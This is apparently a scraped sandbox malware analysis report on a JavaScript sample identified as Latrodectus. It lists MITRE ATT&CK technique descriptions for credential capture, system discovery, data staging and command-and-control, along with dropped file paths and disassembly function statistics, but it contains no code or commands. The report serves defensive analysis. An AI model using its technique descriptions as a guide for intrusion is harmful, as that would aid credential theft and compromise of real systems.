Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Document-18-33-08.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Latrodectus

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\4df20b.rbs

C:\Users\user\AppData\Roaming\vierm_soft_x64.dll

C:\Windows\Installer\MSI7623.tmp

C:\Windows\Installer\MSIF101.tmp

C:\Windows\Installer\MSIF160.tmp

C:\Windows\Installer\MSIF1BF.tmp

C:\Windows\Installer\MSIF1DF.tmp

C:\Windows\Installer\MSIF22E.tmp

C:\Windows\Installer\MSIF29D.tmp

C:\Windows\Installer\inprogressinstallinfo.ipi

C:\Windows\Temp\~DF01B5DC13092BA872.TMP

C:\Windows\Temp\~DF07B80D9F27CBE04D.TMP

C:\Windows\Temp\~DF28B4DE99F83A16D6.TMP

C:\Windows\Temp\~DF59A0B4535E503852.TMP

Windows Analysis Report
Document-18-33-08.js

Function 00FB52F0 Relevance: 56.4, APIs: 16, Strings: 16, Instructions: 402
libraryloadersleepCOMMON

Function 00FB6A50 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 461
COMMON

Function 00FB57C0 Relevance: 6.0, APIs: 4, Instructions: 35
COMMON

Function 00FBCDB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77
COMMON

Function 00FB5E40 Relevance: 4.6, APIs: 3, Instructions: 85
COMMON

Function 00FE70BB Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre